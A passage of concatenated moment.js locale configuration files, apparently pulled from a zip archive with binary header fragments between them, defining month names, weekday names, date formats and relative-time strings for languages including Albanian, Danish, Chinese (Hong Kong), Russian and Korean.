    months : 'Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar'.split('_'),
    monthsShort : 'Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec'.split('_'),
    weekdays : 'Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi'.split('_'),
    weekdaysShort : 'Súl_Lún_Mai_Már_Xhú_Vié_Sát'.split('_'),
    weekdaysMin : 'Sú_Lú_Ma_Má_Xh_Vi_Sá'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM [dallas] YYYY',
        LLL : 'D. MMMM [dallas] YYYY HH.mm',
        LLLL : 'dddd, [li] D. MMMM [dallas] YYYY HH.mm'
    },
    meridiemParse: /d\'o|d\'a/i,
    isPM : function (input) {
        return 'd\'o' === input.toLowerCase();
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours > 11) {
            return isLower ? 'd\'o' : 'D\'O';
        } else {
            return isLower ? 'd\'a' : 'D\'A';
        }
    },
    calendar : {
        sameDay : '[oxhi à] LT',
        nextDay : '[demà à] LT',
        nextWeek : 'dddd [à] LT',
        lastDay : '[ieiri à] LT',
        lastWeek : '[sür el] dddd [lasteu à] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'osprei %s',
        past : 'ja%s',
        s : processRelativeTime,
        ss : processRelativeTime,
        m : processRelativeTime,
        mm : processRelativeTime,
        h : processRelativeTime,
        hh : processRelativeTime,
        d : processRelativeTime,
        dd : processRelativeTime,
        M : processRelativeTime,
        MM : processRelativeTime,
        y : processRelativeTime,
        yy : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        's': ['viensas secunds', '\'iensas secunds'],
        'ss': [number + ' secunds', '' + number + ' secunds'],
        'm': ['\'n míut', '\'iens míut'],
        'mm': [number + ' míuts', '' + number + ' míuts'],
        'h': ['\'n þora', '\'iensa þora'],
        'hh': [number + ' þoras', '' + number + ' þoras'],
        'd': ['\'n ziua', '\'iensa ziua'],
        'dd': [number + ' ziuas', '' + number + ' ziuas'],
        'M': ['\'n mes', '\'iens mes'],
        'MM': [number + ' mesen', '' + number + ' mesen'],
        'y': ['\'n ar', '\'iens ar'],
        'yy': [number + ' ars', '' + number + ' ars']
    };
    return isFuture ? format[key][0] : (withoutSuffix ? format[key][0] : format[key][1]);
}

PK.��\� ��

locale/sq.jsnu�[���//! moment.js locale configuration
//! locale : Albanian [sq]
//! author : Flakërim Ismani : https://github.com/flakerimi
//! author : Menelion Elensúle : https://github.com/Oire
//! author : Oerd Cukalla : https://github.com/oerd

import moment from '../moment';

export default moment.defineLocale('sq', {
    months : 'Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor'.split('_'),
    monthsShort : 'Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj'.split('_'),
    weekdays : 'E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë'.split('_'),
    weekdaysShort : 'Die_Hën_Mar_Mër_Enj_Pre_Sht'.split('_'),
    weekdaysMin : 'D_H_Ma_Më_E_P_Sh'.split('_'),
    weekdaysParseExact : true,
    meridiemParse: /PD|MD/,
    isPM: function (input) {
        return input.charAt(0) === 'M';
    },
    meridiem : function (hours, minutes, isLower) {
        return hours < 12 ? 'PD' : 'MD';
    },
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Sot në] LT',
        nextDay : '[Nesër në] LT',
        nextWeek : 'dddd [në] LT',
        lastDay : '[Dje në] LT',
        lastWeek : 'dddd [e kaluar në] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'në %s',
        past : '%s më parë',
        s : 'disa sekonda',
        ss : '%d sekonda',
        m : 'një minutë',
        mm : '%d minuta',
        h : 'një orë',
        hh : '%d orë',
        d : 'një ditë',
        dd : '%d ditë',
        M : 'një muaj',
        MM : '%d muaj',
        y : 'një vit',
        yy : '%d vite'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\���դ�locale/da.jsnu�[���//! moment.js locale configuration
//! locale : Danish [da]
//! author : Ulrik Nielsen : https://github.com/mrbase

import moment from '../moment';

export default moment.defineLocale('da', {
    months : 'januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december'.split('_'),
    monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec'.split('_'),
    weekdays : 'søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag'.split('_'),
    weekdaysShort : 'søn_man_tir_ons_tor_fre_lør'.split('_'),
    weekdaysMin : 'sø_ma_ti_on_to_fr_lø'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY HH:mm',
        LLLL : 'dddd [d.] D. MMMM YYYY [kl.] HH:mm'
    },
    calendar : {
        sameDay : '[i dag kl.] LT',
        nextDay : '[i morgen kl.] LT',
        nextWeek : 'på dddd [kl.] LT',
        lastDay : '[i går kl.] LT',
        lastWeek : '[i] dddd[s kl.] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'om %s',
        past : '%s siden',
        s : 'få sekunder',
        ss : '%d sekunder',
        m : 'et minut',
        mm : '%d minutter',
        h : 'en time',
        hh : '%d timer',
        d : 'en dag',
        dd : '%d dage',
        M : 'en måned',
        MM : '%d måneder',
        y : 'et år',
        yy : '%d år'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\E%J�eelocale/zh-hk.jsnu�[���//! moment.js locale configuration
//! locale : Chinese (Hong Kong) [zh-hk]
//! author : Ben : https://github.com/ben-lin
//! author : Chris Lam : https://github.com/hehachris
//! author : Konstantin : https://github.com/skfd

import moment from '../moment';

export default moment.defineLocale('zh-hk', {
    months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'),
    monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'),
    weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'),
    weekdaysShort : '週日_週一_週二_週三_週四_週五_週六'.split('_'),
    weekdaysMin : '日_一_二_三_四_五_六'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY/MM/DD',
        LL : 'YYYY年M月D日',
        LLL : 'YYYY年M月D日 HH:mm',
        LLLL : 'YYYY年M月D日dddd HH:mm',
        l : 'YYYY/M/D',
        ll : 'YYYY年M月D日',
        lll : 'YYYY年M月D日 HH:mm',
        llll : 'YYYY年M月D日dddd HH:mm'
    },
    meridiemParse: /凌晨|早上|上午|中午|下午|晚上/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === '凌晨' || meridiem === '早上' || meridiem === '上午') {
            return hour;
        } else if (meridiem === '中午') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === '下午' || meridiem === '晚上') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        var hm = hour * 100 + minute;
        if (hm < 600) {
            return '凌晨';
        } else if (hm < 900) {
            return '早上';
        } else if (hm < 1130) {
            return '上午';
        } else if (hm < 1230) {
            return '中午';
        } else if (hm < 1800) {
            return '下午';
        } else {
            return '晚上';
        }
    },
    calendar : {
        sameDay : '[今天]LT',
        nextDay : '[明天]LT',
        nextWeek : '[下]ddddLT',
        lastDay : '[昨天]LT',
        lastWeek : '[上]ddddLT',
        sameElse : 'L'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd' :
            case 'D' :
            case 'DDD' :
                return number + '日';
            case 'M' :
                return number + '月';
            case 'w' :
            case 'W' :
                return number + '週';
            default :
                return number;
        }
    },
    relativeTime : {
        future : '%s內',
        past : '%s前',
        s : '幾秒',
        ss : '%d 秒',
        m : '1 分鐘',
        mm : '%d 分鐘',
        h : '1 小時',
        hh : '%d 小時',
        d : '1 天',
        dd : '%d 天',
        M : '1 個月',
        MM : '%d 個月',
        y : '1 年',
        yy : '%d 年'
    }
});
PK.��\�h#<�	�	locale/jv.jsnu�[���//! moment.js locale configuration
//! locale : Javanese [jv]
//! author : Rony Lantip : https://github.com/lantip
//! reference: http://jv.wikipedia.org/wiki/Basa_Jawa

import moment from '../moment';

export default moment.defineLocale('jv', {
    months : 'Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des'.split('_'),
    weekdays : 'Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu'.split('_'),
    weekdaysShort : 'Min_Sen_Sel_Reb_Kem_Jem_Sep'.split('_'),
    weekdaysMin : 'Mg_Sn_Sl_Rb_Km_Jm_Sp'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY [pukul] HH.mm',
        LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm'
    },
    meridiemParse: /enjing|siyang|sonten|ndalu/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'enjing') {
            return hour;
        } else if (meridiem === 'siyang') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'sonten' || meridiem === 'ndalu') {
            return hour + 12;
        }
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 11) {
            return 'enjing';
        } else if (hours < 15) {
            return 'siyang';
        } else if (hours < 19) {
            return 'sonten';
        } else {
            return 'ndalu';
        }
    },
    calendar : {
        sameDay : '[Dinten puniko pukul] LT',
        nextDay : '[Mbenjang pukul] LT',
        nextWeek : 'dddd [pukul] LT',
        lastDay : '[Kala wingi pukul] LT',
        lastWeek : 'dddd [kepengker pukul] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'wonten ing %s',
        past : '%s ingkang kepengker',
        s : 'sawetawis detik',
        ss : '%d detik',
        m : 'setunggal menit',
        mm : '%d menit',
        h : 'setunggal jam',
        hh : '%d jam',
        d : 'sedinten',
        dd : '%d dinten',
        M : 'sewulan',
        MM : '%d wulan',
        y : 'setaun',
        yy : '%d taun'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\*��!��locale/ml.jsnu�[���//! moment.js locale configuration
//! locale : Malayalam [ml]
//! author : Floyd Pink : https://github.com/floydpink

import moment from '../moment';

export default moment.defineLocale('ml', {
    months : 'ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ'.split('_'),
    monthsShort : 'ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.'.split('_'),
    monthsParseExact : true,
    weekdays : 'ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച'.split('_'),
    weekdaysShort : 'ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി'.split('_'),
    weekdaysMin : 'ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ'.split('_'),
    longDateFormat : {
        LT : 'A h:mm -നു',
        LTS : 'A h:mm:ss -നു',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm -നു',
        LLLL : 'dddd, D MMMM YYYY, A h:mm -നു'
    },
    calendar : {
        sameDay : '[ഇന്ന്] LT',
        nextDay : '[നാളെ] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[ഇന്നലെ] LT',
        lastWeek : '[കഴിഞ്ഞ] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s കഴിഞ്ഞ്',
        past : '%s മുൻപ്',
        s : 'അൽപ നിമിഷങ്ങൾ',
        ss : '%d സെക്കൻഡ്',
        m : 'ഒരു മിനിറ്റ്',
        mm : '%d മിനിറ്റ്',
        h : 'ഒരു മണിക്കൂർ',
        hh : '%d മണിക്കൂർ',
        d : 'ഒരു ദിവസം',
        dd : '%d ദിവസം',
        M : 'ഒരു മാസം',
        MM : '%d മാസം',
        y : 'ഒരു വർഷം',
        yy : '%d വർഷം'
    },
    meridiemParse: /രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if ((meridiem === 'രാത്രി' && hour >= 4) ||
                meridiem === 'ഉച്ച കഴിഞ്ഞ്' ||
                meridiem === 'വൈകുന്നേരം') {
            return hour + 12;
        } else {
            return hour;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'രാത്രി';
        } else if (hour < 12) {
            return 'രാവിലെ';
        } else if (hour < 17) {
            return 'ഉച്ച കഴിഞ്ഞ്';
        } else if (hour < 20) {
            return 'വൈകുന്നേരം';
        } else {
            return 'രാത്രി';
        }
    }
});

PK.��\��{
{
locale/tg.jsnu�[���//! moment.js locale configuration
//! locale : Tajik [tg]
//! author : Orif N. Jr. : https://github.com/orif-jr

import moment from '../moment';

var suffixes = {
    0: '-ум',
    1: '-ум',
    2: '-юм',
    3: '-юм',
    4: '-ум',
    5: '-ум',
    6: '-ум',
    7: '-ум',
    8: '-ум',
    9: '-ум',
    10: '-ум',
    12: '-ум',
    13: '-ум',
    20: '-ум',
    30: '-юм',
    40: '-ум',
    50: '-ум',
    60: '-ум',
    70: '-ум',
    80: '-ум',
    90: '-ум',
    100: '-ум'
};

export default moment.defineLocale('tg', {
    months : 'январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр'.split('_'),
    monthsShort : 'янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек'.split('_'),
    weekdays : 'якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе'.split('_'),
    weekdaysShort : 'яшб_дшб_сшб_чшб_пшб_ҷум_шнб'.split('_'),
    weekdaysMin : 'яш_дш_сш_чш_пш_ҷм_шб'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Имрӯз соати] LT',
        nextDay : '[Пагоҳ соати] LT',
        lastDay : '[Дирӯз соати] LT',
        nextWeek : 'dddd[и] [ҳафтаи оянда соати] LT',
        lastWeek : 'dddd[и] [ҳафтаи гузашта соати] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'баъди %s',
        past : '%s пеш',
        s : 'якчанд сония',
        m : 'як дақиқа',
        mm : '%d дақиқа',
        h : 'як соат',
        hh : '%d соат',
        d : 'як рӯз',
        dd : '%d рӯз',
        M : 'як моҳ',
        MM : '%d моҳ',
        y : 'як сол',
        yy : '%d сол'
    },
    meridiemParse: /шаб|субҳ|рӯз|бегоҳ/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'шаб') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'субҳ') {
            return hour;
        } else if (meridiem === 'рӯз') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'бегоҳ') {
            return hour + 12;
        }
    },
    meridiem: function (hour, minute, isLower) {
        if (hour < 4) {
            return 'шаб';
        } else if (hour < 11) {
            return 'субҳ';
        } else if (hour < 16) {
            return 'рӯз';
        } else if (hour < 19) {
            return 'бегоҳ';
        } else {
            return 'шаб';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(ум|юм)/,
    ordinal: function (number) {
        var a = number % 10,
            b = number >= 100 ? 100 : null;
        return number + (suffixes[number] || suffixes[a] || suffixes[b]);
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1th is the first week of the year.
    }
});
PK.��\�Kbp��locale/ar-sa.jsnu�[���//! moment.js locale configuration
//! locale : Arabic (Saudi Arabia) [ar-sa]
//! author : Suhail Alkowaileet : https://github.com/xsoh

import moment from '../moment';

var symbolMap = {
    '1': '١',
    '2': '٢',
    '3': '٣',
    '4': '٤',
    '5': '٥',
    '6': '٦',
    '7': '٧',
    '8': '٨',
    '9': '٩',
    '0': '٠'
}, numberMap = {
    '١': '1',
    '٢': '2',
    '٣': '3',
    '٤': '4',
    '٥': '5',
    '٦': '6',
    '٧': '7',
    '٨': '8',
    '٩': '9',
    '٠': '0'
};

export default moment.defineLocale('ar-sa', {
    months : 'يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    monthsShort : 'يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    meridiemParse: /ص|م/,
    isPM : function (input) {
        return 'م' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ص';
        } else {
            return 'م';
        }
    },
    calendar : {
        sameDay: '[اليوم على الساعة] LT',
        nextDay: '[غدا على الساعة] LT',
        nextWeek: 'dddd [على الساعة] LT',
        lastDay: '[أمس على الساعة] LT',
        lastWeek: 'dddd [على الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'في %s',
        past : 'منذ %s',
        s : 'ثوان',
        ss : '%d ثانية',
        m : 'دقيقة',
        mm : '%d دقائق',
        h : 'ساعة',
        hh : '%d ساعات',
        d : 'يوم',
        dd : '%d أيام',
        M : 'شهر',
        MM : '%d أشهر',
        y : 'سنة',
        yy : '%d سنوات'
    },
    preparse: function (string) {
        return string.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (match) {
            return numberMap[match];
        }).replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        }).replace(/,/g, '،');
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\d+��  locale/ru.jsnu�[���//! moment.js locale configuration
//! locale : Russian [ru]
//! author : Viktorminator : https://github.com/Viktorminator
//! Author : Menelion Elensúle : https://github.com/Oire
//! author : Коренберг Марк : https://github.com/socketpair

import moment from '../moment';

function plural(word, num) {
    var forms = word.split('_');
    return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]);
}
function relativeTimeWithPlural(number, withoutSuffix, key) {
    var format = {
        'ss': withoutSuffix ? 'секунда_секунды_секунд' : 'секунду_секунды_секунд',
        'mm': withoutSuffix ? 'минута_минуты_минут' : 'минуту_минуты_минут',
        'hh': 'час_часа_часов',
        'dd': 'день_дня_дней',
        'MM': 'месяц_месяца_месяцев',
        'yy': 'год_года_лет'
    };
    if (key === 'm') {
        return withoutSuffix ? 'минута' : 'минуту';
    }
    else {
        return number + ' ' + plural(format[key], +number);
    }
}
var monthsParse = [/^янв/i, /^фев/i, /^мар/i, /^апр/i, /^ма[йя]/i, /^июн/i, /^июл/i, /^авг/i, /^сен/i, /^окт/i, /^ноя/i, /^дек/i];

// http://new.gramota.ru/spravka/rules/139-prop : § 103
// Сокращения месяцев: http://new.gramota.ru/spravka/buro/search-answer?s=242637
// CLDR data:          http://www.unicode.org/cldr/charts/28/summary/ru.html#1753
export default moment.defineLocale('ru', {
    months : {
        format: 'января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря'.split('_'),
        standalone: 'январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь'.split('_')
    },
    monthsShort : {
        // по CLDR именно "июл." и "июн.", но какой смысл менять букву на точку ?
        format: 'янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.'.split('_'),
        standalone: 'янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.'.split('_')
    },
    weekdays : {
        standalone: 'воскресенье_понедельник_вторник_среда_четверг_пятница_суббота'.split('_'),
        format: 'воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу'.split('_'),
        isFormat: /\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/
    },
    weekdaysShort : 'вс_пн_вт_ср_чт_пт_сб'.split('_'),
    weekdaysMin : 'вс_пн_вт_ср_чт_пт_сб'.split('_'),
    monthsParse : monthsParse,
    longMonthsParse : monthsParse,
    shortMonthsParse : monthsParse,

    // полные названия с падежами, по три буквы, для некоторых, по 4 буквы, сокращения с точкой и без точки
    monthsRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,

    // копия предыдущего
    monthsShortRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,

    // полные названия с падежами
    monthsStrictRegex: /^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,

    // Выражение, которое соотвествует только сокращённым формам
    monthsShortStrictRegex: /^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY г.',
        LLL : 'D MMMM YYYY г., H:mm',
        LLLL : 'dddd, D MMMM YYYY г., H:mm'
    },
    calendar : {
        sameDay: '[Сегодня, в] LT',
        nextDay: '[Завтра, в] LT',
        lastDay: '[Вчера, в] LT',
        nextWeek: function (now) {
            if (now.week() !== this.week()) {
                switch (this.day()) {
                    case 0:
                        return '[В следующее] dddd, [в] LT';
                    case 1:
                    case 2:
                    case 4:
                        return '[В следующий] dddd, [в] LT';
                    case 3:
                    case 5:
                    case 6:
                        return '[В следующую] dddd, [в] LT';
                }
            } else {
                if (this.day() === 2) {
                    return '[Во] dddd, [в] LT';
                } else {
                    return '[В] dddd, [в] LT';
                }
            }
        },
        lastWeek: function (now) {
            if (now.week() !== this.week()) {
                switch (this.day()) {
                    case 0:
                        return '[В прошлое] dddd, [в] LT';
                    case 1:
                    case 2:
                    case 4:
                        return '[В прошлый] dddd, [в] LT';
                    case 3:
                    case 5:
                    case 6:
                        return '[В прошлую] dddd, [в] LT';
                }
            } else {
                if (this.day() === 2) {
                    return '[Во] dddd, [в] LT';
                } else {
                    return '[В] dddd, [в] LT';
                }
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'через %s',
        past : '%s назад',
        s : 'несколько секунд',
        ss : relativeTimeWithPlural,
        m : relativeTimeWithPlural,
        mm : relativeTimeWithPlural,
        h : 'час',
        hh : relativeTimeWithPlural,
        d : 'день',
        dd : relativeTimeWithPlural,
        M : 'месяц',
        MM : relativeTimeWithPlural,
        y : 'год',
        yy : relativeTimeWithPlural
    },
    meridiemParse: /ночи|утра|дня|вечера/i,
    isPM : function (input) {
        return /^(дня|вечера)$/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'ночи';
        } else if (hour < 12) {
            return 'утра';
        } else if (hour < 17) {
            return 'дня';
        } else {
            return 'вечера';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(й|го|я)/,
    ordinal: function (number, period) {
        switch (period) {
            case 'M':
            case 'd':
            case 'DDD':
                return number + '-й';
            case 'D':
                return number + '-го';
            case 'w':
            case 'W':
                return number + '-я';
            default:
                return number;
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\ȉ_��locale/sw.jsnu�[���//! moment.js locale configuration
//! locale : Swahili [sw]
//! author : Fahad Kassim : https://github.com/fadsel

import moment from '../moment';

export default moment.defineLocale('sw', {
    months : 'Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba'.split('_'),
    monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des'.split('_'),
    weekdays : 'Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi'.split('_'),
    weekdaysShort : 'Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos'.split('_'),
    weekdaysMin : 'J2_J3_J4_J5_Al_Ij_J1'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[leo saa] LT',
        nextDay : '[kesho saa] LT',
        nextWeek : '[wiki ijayo] dddd [saat] LT',
        lastDay : '[jana] LT',
        lastWeek : '[wiki iliyopita] dddd [saat] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s baadaye',
        past : 'tokea %s',
        s : 'hivi punde',
        ss : 'sekunde %d',
        m : 'dakika moja',
        mm : 'dakika %d',
        h : 'saa limoja',
        hh : 'masaa %d',
        d : 'siku moja',
        dd : 'masiku %d',
        M : 'mwezi mmoja',
        MM : 'miezi %d',
        y : 'mwaka mmoja',
        yy : 'miaka %d'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�[�Z		locale/ko.jsnu�[���//! moment.js locale configuration
//! locale : Korean [ko]
//! author : Kyungwook, Park : https://github.com/kyungw00k
//! author : Jeeeyul Lee <jeeeyul@gmail.com>

import moment from '../moment';

export default moment.defineLocale('ko', {
    months : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'),
    monthsShort : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'),
    weekdays : '일요일_월요일_화요일_수요일_목요일_금요일_토요일'.split('_'),
    weekdaysShort : '일_월_화_수_목_금_토'.split('_'),
    weekdaysMin : '일_월_화_수_목_금_토'.split('_'),
    longDateFormat : {
        LT : 'A h:mm',
        LTS : 'A h:mm:ss',
        L : 'YYYY.MM.DD.',
        LL : 'YYYY년 MMMM D일',
        LLL : 'YYYY년 MMMM D일 A h:mm',
        LLLL : 'YYYY년 MMMM D일 dddd A h:mm',
        l : 'YYYY.MM.DD.',
        ll : 'YYYY년 MMMM D일',
        lll : 'YYYY년 MMMM D일 A h:mm',
        llll : 'YYYY년 MMMM D일 dddd A h:mm'
    },
    calendar : {
        sameDay : '오늘 LT',
        nextDay : '내일 LT',
        nextWeek : 'dddd LT',
        lastDay : '어제 LT',
        lastWeek : '지난주 dddd LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s 후',
        past : '%s 전',
        s : '몇 초',
        ss : '%d초',
        m : '1분',
        mm : '%d분',
        h : '한 시간',
        hh : '%d시간',
        d : '하루',
        dd : '%d일',
        M : '한 달',
        MM : '%d달',
        y : '일 년',
        yy : '%d년'
    },
